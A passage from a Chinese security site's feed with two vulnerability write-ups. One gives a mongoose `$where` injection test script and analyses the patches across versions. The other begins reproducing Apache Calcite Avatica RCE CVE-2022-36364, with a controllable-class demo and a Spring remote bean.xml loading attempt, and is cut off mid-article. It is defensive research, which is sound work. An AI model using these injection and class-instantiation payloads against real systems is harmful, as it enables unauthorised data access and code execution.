<span class="cm-string">&quot;user456&quot;</span> }</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;]);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">await</span> <span class="cm-variable-2">Post</span>.<span class="cm-property">insertMany</span>([</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;{ <span class="cm-property">title</span>: <span class="cm-string">&quot;Post 1&quot;</span>, <span class="cm-property">content</span>: <span class="cm-string">&quot;Content 1&quot;</span>, <span class="cm-property">author</span>: <span class="cm-variable-2">users</span>[<span class="cm-number">0</span>].<span class="cm-property">_id</span> },</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;{ <span class="cm-property">title</span>: <span class="cm-string">&quot;Post 2&quot;</span>, <span class="cm-property">content</span>: <span class="cm-string">&quot;Content 2&quot;</span>, <span class="cm-property">author</span>: <span class="cm-variable-2">users</span>[<span class="cm-number">1</span>].<span class="cm-property">_id</span> }</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;]);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-string">&quot;√ 已插入测试数据&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-comment">// 1. 正常的 populate 查询</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">try</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">const</span> <span class="cm-def">result</span> <span class="cm-operator">=</span> <span class="cm-keyword">await</span> <span class="cm-variable-2">Post</span>.<span class="cm-property">findOne</span>().<span class="cm-property">populate</span>({</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-property">path</span>: <span class="cm-string">&#39;author&#39;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-property">match</span>: { <span class="cm-property">username</span>: <span class="cm-string">&quot;admin&quot;</span> }</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;});</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-string">&quot;√ 正常 populate 查询结果:&quot;</span>, <span class="cm-variable-2">result</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;} <span class="cm-keyword">catch</span> (<span class="cm-def">err</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">console</span>.<span class="cm-property">error</span>(<span class="cm-string">&quot;× 正常 populate 查询失败:&quot;</span>, <span class="cm-variable-2">err</span>.<span class="cm-property">message</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-comment">// 2. 测试 populate match 中的 $where 注入</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">try</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">const</span> <span class="cm-def">result</span> <span class="cm-operator">=</span> <span class="cm-keyword">await</span> <span class="cm-variable-2">Post</span>.<span class="cm-property">findOne</span>().<span class="cm-property">populate</span>({</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-property">path</span>: <span class="cm-string">&#39;author&#39;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-property">match</span>: { <span class="cm-property">$where</span>: <span class="cm-string">&quot;this.isAdmin&quot;</span> } &nbsp;<span class="cm-comment">// 修改这里，去掉 return</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;});</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-string">&quot;√ `$where` populate 查询成功，说明可能存在漏洞:&quot;</span>, <span class="cm-variable-2">result</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;} <span class="cm-keyword">catch</span> (<span class="cm-def">err</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">console</span>.<span class="cm-property">error</span>(<span class="cm-string">&quot;× `$where` populate 查询被拦截:&quot;</span>, <span class="cm-variable-2">err</span>.<span class="cm-property">message</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-comment">// 3. 测试深层嵌套的 $where 注入</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">try</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">const</span> <span class="cm-def">result</span> <span class="cm-operator">=</span> <span class="cm-keyword">await</span> <span class="cm-variable-2">Post</span>.<span class="cm-property">findOne</span>().<span class="cm-property">populate</span>({</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-property">path</span>: <span class="cm-string">&#39;author&#39;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-property">match</span>: { </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-property">$and</span>: [</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{ <span class="cm-property">nested</span>: { <span class="cm-property">$where</span>: <span class="cm-string">&quot;this.isAdmin&quot;</span> } } &nbsp;<span class="cm-comment">// 修改这里，去掉 return</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;]</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;});</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-string">&quot;√ 嵌套 `$where` populate 查询成功，说明可能存在漏洞:&quot;</span>, <span class="cm-variable-2">result</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;} <span class="cm-keyword">catch</span> (<span class="cm-def">err</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">console</span>.<span class="cm-property">error</span>(<span class="cm-string">&quot;× 嵌套 `$where` populate 查询被拦截:&quot;</span>, <span class="cm-variable-2">err</span>.<span class="cm-property">message</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-comment">// 4. 测试数组中的 $where 注入</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">try</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">const</span> <span class="cm-def">result</span> <span class="cm-operator">=</span> <span class="cm-keyword">await</span> <span class="cm-variable-2">Post</span>.<span class="cm-property">findOne</span>().<span class="cm-property">populate</span>({</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-property">path</span>: <span class="cm-string">&#39;author&#39;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-property">match</span>: [{ <span class="cm-property">$where</span>: <span class="cm-string">&quot;this.isAdmin&quot;</span> }] &nbsp;<span class="cm-comment">// 修改这里，去掉 return</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;});</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-string">&quot;√ 数组中的 `$where` populate 查询成功，说明可能存在漏洞:&quot;</span>, <span class="cm-variable-2">result</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;} <span class="cm-keyword">catch</span> (<span class="cm-def">err</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">console</span>.<span class="cm-property">error</span>(<span class="cm-string">&quot;× 数组中的 `$where` populate 查询被拦截:&quot;</span>, <span class="cm-variable-2">err</span>.<span class="cm-property">message</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">await</span> <span class="cm-variable">mongoose</span>.<span class="cm-property">disconnect</span>();</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">testWhereInjection</span>().<span class="cm-property">catch</span>(<span class="cm-variable">console</span>.<span class="cm-property">error</span>);</span></pre>
<h3>mongoose@6.13.4</h3>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502201543661.png" width="720" height="372.5019731649566"/></p>
<h3>mongoose@6.13.5</h3>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502201543662.png" width="720" height="303.6792452830189"/></p>
<h3>mongoose@6.13.6</h3>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502201543663.png" width="720" height="205.225"/></p>
<p>通过执行结果我们发现，在 mongoose@6.13.4 中，<code>$where</code>&nbsp;语句可以任意执行语句，经过修复后的 mongoose@6.13.5 中，只能通过嵌套来执行插入的语句，mongoose@6.13.6 已经修复了通过嵌套执行插入语句的问题。</p>
<p><br/></p>
<p><br/></p>
<h2>漏洞分析</h2>
<p><a href="https://github.com/Automattic/mongoose/compare/6.13.4...6.13.5?diff=split&#038;w=">https://github.com/Automattic/mongoose/compare/6.13.4...6.13.5?diff=split&amp;w=</a></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502201543664.png" width="720" height="326.3768115942029"/></p>
<p>第一次进行修复</p>
<p>１. 首先判断&nbsp;<code>match</code>&nbsp;是否为一个数组,使用&nbsp;<code>Array.isArray(match)</code>进行检查。</p>
<p>２. 如果&nbsp;<code>match</code>&nbsp;是一个数组,则使用&nbsp;<code>for...of</code>&nbsp;循环遍历数组中的每个元素&nbsp;<code>item</code>。</p>
<p>３. 对于每个 item,进行以下检查：</p>
<p>　　如果<code>item</code>&nbsp;不为&nbsp;<code>null (item !\= null)</code>,并且 item 对象中存在&nbsp;<code>$where</code>&nbsp;属性<code>(item.$where)</code>,则抛出一个 MongooseError 异常,错误信息为 &quot;<code>Cannot use $where filter with populate() match</code>&quot;。这是因为在 populate() 查询中不允许使用&nbsp;<code>$where</code>&nbsp;操作符。</p>
<p>４. 如果&nbsp;<code>match</code>&nbsp;不是一个数组,则进行另一个判断：</p>
<p>　　如果&nbsp;<code>match</code>&nbsp;不为&nbsp;<code>null (match !\= null)</code>,并且&nbsp;<code>match</code>&nbsp;对象中存在&nbsp;<code>$where</code>&nbsp;属性<code>(match.$where !\= null)</code>,同样抛出一个 MongooseError 异常,错误信息为 &quot;<code>Cannot use $where filter with populate() match</code>&quot;。</p>
<p>进行&nbsp;<code>populate()</code>&nbsp;查询时,防止使用&nbsp;<code>$where</code>&nbsp;操作符，检查传入的&nbsp;<code>match</code>&nbsp;参数是否包含&nbsp;<code>$where</code>&nbsp;属性,无论&nbsp;<code>match</code>&nbsp;是一个数组还是一个对象。如果发现&nbsp;<code>match</code>&nbsp;中存在&nbsp;<code>$where</code>&nbsp;属性,就会抛出一个 MongooseError 异常,提示不能在&nbsp;<code>populate()</code>&nbsp;查询中使用&nbsp;<code>$where</code>&nbsp;过滤器</p>
<p><a href="https://github.com/Automattic/mongoose/compare/6.13.5...6.13.6?diff=split&#038;w=">https://github.com/Automattic/mongoose/compare/6.13.5...6.13.6?diff=split&amp;w=</a></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502201543665.png" width="720" height="324.13069786204113"/></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502201543666.png" width="720" height="224.46886446886447"/></p>
<p>第二次修复</p>
<p>１. 函数接受一个参数&nbsp;<code>match</code>,表示要检查的对象。</p>
<p>２. 首先进行两个条件判断：</p>
<p>　　如果&nbsp;<code>match</code> 为<code>null</code>&nbsp;或&nbsp;<code>undefined</code>,直接返回,不进行后续检查。</p>
<p>　　如果&nbsp;<code>match</code> 的类型不是对象,也直接返回,不进行后续检查。 这两个判断是为了避免对非对象类型进行遍历和递归。</p>
<p>３. 使用&nbsp;<code>Object.keys(match)</code>&nbsp;获取&nbsp;<code>match</code>&nbsp;对象的所有属性键,并使用&nbsp;<code>for...of</code>&nbsp;循环遍历每个属性键&nbsp;<code>key</code>。</p>
<p>４. 对于每个属性键&nbsp;<code>key</code>,进行以下检查：</p>
<p>　　如果&nbsp;<code>key</code> 等于&nbsp;<code>&#39;$where&#39;</code>,表示在&nbsp;<code>match</code> 对象中发现了 $where 操作符,抛出一个 MongooseError 异常,错误信息为 &quot;<code>Cannot use $where filter with populate() match</code>&quot;。</p>
<p>５. 如果当前属性的值&nbsp;<code>match[key]</code>&nbsp;不为&nbsp;<code>null</code>&nbsp;或&nbsp;<code>undefined</code>,并且其类型为对象,则递归调用&nbsp;<code>throwOn$where</code>&nbsp;函数,将&nbsp;<code>match[key]</code>&nbsp;作为参数传入,对嵌套的对象进行相同的检查。</p>
<p>通过递归调用&nbsp;<code>throwOn$where</code> 函数,可以对&nbsp;<code>match</code> 对象进行深度遍历,检查其中是否包含 $where 操作符,无论 $where 操作符位于对象的哪个层级。</p>
<p><br/></p>
<p><img alt="01.png" src="https://www.yijinglab.com/headImg.action?news=3af353e8-e9dc-4626-a973-f501d10212b7.png" width="720" height="347.4125874125874"/></p>
<p>&nbsp;&nbsp;</p>
<p><br/></p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/205921.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apache Calcite Avatica 远程代码执行（CVE-2022-36364）</title>
		<link>https://www.secpulse.com/archives/205880.html</link>
		<comments>https://www.secpulse.com/archives/205880.html#comments</comments>
		<pubDate>Sun, 09 Feb 2025 09:32:28 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=205880</guid>
		<description><![CDATA[<p>前段时间看到Apache Calcite Avatica远程代码执行漏洞 CVE-2022-36364 在网上搜索也没有找到相关的分析和复现文章，于是想着自己研究一下，看能不能发现可以利用的方法。</p>
<p>首先利用一下最近比较热门的 Deepseek ，询问他是否清楚漏洞相关的信息。</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558342.png" width="720" height="643.0188679245283"/></p>
<p><br/></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558343.png" width="720" height="616.0893854748604"/></p>
<p>通过回答我们可以了解到这个漏洞的概况，具体漏洞的版本，以及漏洞产生的原因。</p>
<h2>漏洞简介</h2>
<p>Apache Calcite Avatica JDBC 驱动程序根据通过&nbsp;<code>httpclient_impl</code> 连接属性提供的类名来创建 HTTP 客户端实例；但是在驱动程序实例化之前不会验证该类是否实现了预期的接口，这样一来就会导致可以通过调用任意类来执行代码。</p>
<p>执行这个漏洞并造成一定的危害性，还需要两个先决条件：</p>
<ul class=" list-paddingleft-2">
<li>
<p style="padding: 0px;margin-top: 0px;margin-bottom: 15px">必须拥有控制 JDBC 连接参数的权限</p>
</li>
<li>
<p style="padding: 0px;margin-top: 0px;margin-bottom: 15px">类路径中有一个具有 URL 参数和执行代码能力的函数（目前需要自己构造）</p>
</li>
</ul>
<h2>漏洞复现&amp;分析</h2>
<p><br/></p>
<p>简单点，通过 maven 来创建漏洞环境</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-operator">&lt;!--</span> <span class="cm-variable">https</span>:<span class="cm-operator">//</span><span class="cm-variable">mvnrepository</span>.<span class="cm-property">com</span><span class="cm-operator">/</span><span class="cm-variable">artifact</span><span class="cm-operator">/</span><span class="cm-variable">org</span>.<span class="cm-property">apache</span>.<span class="cm-property">calcite</span>.<span class="cm-property">avatica</span><span class="cm-operator">/</span><span class="cm-variable">avatica</span> <span class="cm-operator">--&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">dependency</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">groupId</span><span class="cm-operator">&gt;</span><span class="cm-variable">org</span>.<span class="cm-property">apache</span>.<span class="cm-property">calcite</span>.<span class="cm-property">avatica</span><span class="cm-operator">&lt;/</span><span class="cm-variable">groupId</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">artifactId</span><span class="cm-operator">&gt;</span><span class="cm-variable">avatica</span><span class="cm-operator">&lt;/</span><span class="cm-variable">artifactId</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">version</span><span class="cm-operator">&gt;</span><span class="cm-number">1.21.0</span><span class="cm-operator">&lt;/</span><span class="cm-variable">version</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-operator">&lt;/</span><span class="cm-variable">dependency</span><span class="cm-operator">&gt;</span></span></pre>
<p>创建完成漏洞环境后，我们就需要来编写一段代码想办法触发这个漏洞，我个人的建议是通过对比代码补丁，一般来说修复完成代码后，总会写一个测试类来进行测试</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558345.png" width="720" height="343.27272727272725"/></p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">org</span>.<span class="cm-variable">apache</span>.<span class="cm-variable">calcite</span>.<span class="cm-variable">avatica</span>.<span class="cm-variable">BuiltInConnectionProperty</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">org</span>.<span class="cm-variable">apache</span>.<span class="cm-variable">calcite</span>.<span class="cm-variable">avatica</span>.<span class="cm-variable">ConnectionConfig</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">org</span>.<span class="cm-variable">apache</span>.<span class="cm-variable">calcite</span>.<span class="cm-variable">avatica</span>.<span class="cm-variable">ConnectionConfigImpl</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">org</span>.<span class="cm-variable">apache</span>.<span class="cm-variable">calcite</span>.<span class="cm-variable">avatica</span>.<span class="cm-variable">remote</span>.<span class="cm-variable">AvaticaHttpClient</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">org</span>.<span class="cm-variable">apache</span>.<span class="cm-variable">calcite</span>.<span class="cm-variable">avatica</span>.<span class="cm-variable">remote</span>.<span class="cm-variable">AvaticaHttpClientFactory</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">org</span>.<span class="cm-variable">apache</span>.<span class="cm-variable">calcite</span>.<span class="cm-variable">avatica</span>.<span class="cm-variable">remote</span>.<span class="cm-variable">AvaticaHttpClientFactoryImpl</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">java</span>.<span class="cm-variable">net</span>.<span class="cm-variable">URL</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">java</span>.<span class="cm-variable">util</span>.<span class="cm-variable">Properties</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">public</span> <span class="cm-keyword">class</span> <span class="cm-def">test</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">static</span> <span class="cm-variable-3">void</span> <span class="cm-variable">main</span>(<span class="cm-variable-3">String</span>[] <span class="cm-variable">args</span>) <span class="cm-keyword">throws</span> <span class="cm-variable">Exception</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">Properties</span> <span class="cm-variable">props</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">Properties</span>();</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">props</span>.<span class="cm-variable">setProperty</span>(<span class="cm-variable">BuiltInConnectionProperty</span>.<span class="cm-variable">HTTP_CLIENT_IMPL</span>.<span class="cm-variable">name</span>(),<span class="cm-string">&quot;className&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">URL</span> <span class="cm-variable">url</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">URL</span>(<span class="cm-string">&quot;url&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">ConnectionConfig</span> <span class="cm-variable">config</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">ConnectionConfigImpl</span>(<span class="cm-variable">props</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">AvaticaHttpClientFactory</span> <span class="cm-variable">httpClientFactory</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">AvaticaHttpClientFactoryImpl</span>();</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">AvaticaHttpClient</span> <span class="cm-variable">client</span> <span class="cm-operator">=</span> <span class="cm-variable">httpClientFactory</span>.<span class="cm-variable">getClient</span>(<span class="cm-variable">url</span>, <span class="cm-variable">config</span>, <span class="cm-atom">null</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span></pre>
<p>这样一来我们就编写了一个漏洞 Demo&nbsp;<code>calssName</code> 和&nbsp;<code>url</code> 的值是我们可以操作控制的，我们进行调试分析一下</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558346.png" width="720" height="272.4403075677863"/></p>
<p>org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558347.png" width="720" height="244.7766043866775"/></p>
<p>这个地方我们就注意到了最后调用&nbsp;<code>instantiateClient</code> 来处理的两个参数 className 和 url 一个来自于直接传参，另一个来自于&nbsp;<code>config.httpClientClass()</code> 会从 config 对象中获取 HTTP 客户端的实现类名称，并将其作为一个&nbsp;<code>String</code> 返回</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558349.png" width="720" height="48.33512352309345"/></p>
<p>‍</p>
<p>所以当参数传入到&nbsp;<code>org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#instantiateClient</code> 其中的两个参数&nbsp;<code>className</code> 和&nbsp;<code>url</code> 都是我们可以控制的</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558350.png" width="720" height="118.26086956521739"/></p>
<p>不需要向下继续调试，我们就看到了关键代码&nbsp;<code>constructor.newInstance(Objects.requireNonNull(url));</code></p>
<p>这样一来我们就可以通过控制&nbsp;<code>className</code> 和&nbsp;<code>url</code> 来实现调用任意类，但是这个类的必须有 URL 参数的处理</p>
<p>刚开始想到的方法是</p>
<p>利用 spring 中的类构造函数加载远程配置实现 RCE</p>
<ul class=" list-paddingleft-2">
<li>
<p style="padding: 0px;margin-top: 0px;margin-bottom: 15px">org.springframework.context.support.ClassPathXmlApplicationContext</p>
</li>
</ul>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">org</span>.<span class="cm-variable">springframework</span>.<span class="cm-variable">context</span>.<span class="cm-variable">support</span>.<span class="cm-variable">ClassPathXmlApplicationContext</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">public</span> <span class="cm-keyword">class</span> <span class="cm-def">JXpathDemo</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">static</span> <span class="cm-variable-3">void</span> <span class="cm-variable">main</span>(<span class="cm-variable-3">String</span>[] <span class="cm-variable">args</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-3">String</span> <span class="cm-variable">s</span> <span class="cm-operator">=</span> <span class="cm-string">&quot;http://127.0.0.1:8080/bean.xml&quot;</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">ClassPathXmlApplicationContext</span> <span class="cm-variable">context</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">ClassPathXmlApplicationContext</span>(<span class="cm-variable">s</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span></pre>
<p>似乎如此一来就满足了条件，我们先试试</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558352.png" width="720" height="266.69891172914146"/></p>
<p>爆出了一个错误，我们注意到&nbsp;<code>lassPathXmlApplicationContext</code> 类没有接收&nbsp;<code>java.net.URL</code> 参数的构造方法。<code>ClassPathXmlApplicationContext</code> 类的构造方法接收的是&nbsp;<code>String</code> 类型的路径，通常是用于加载 Spring 配置文件的路径。</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558353.png" width="720" height="97.29729729729729"/></p>
<p>所以这种利用方式适用于很多种情况 Apache Commons JXPath 远程代码执行、PostgresQL JDBC Driver 任意代码执行 等，但是并不适配当前的环境。(目前还没有找到合适的类来触发利用这种漏洞)</p>
<p><br/></p>
<p>为了进一步体现危害性，我自己创建一个类来体现</p>
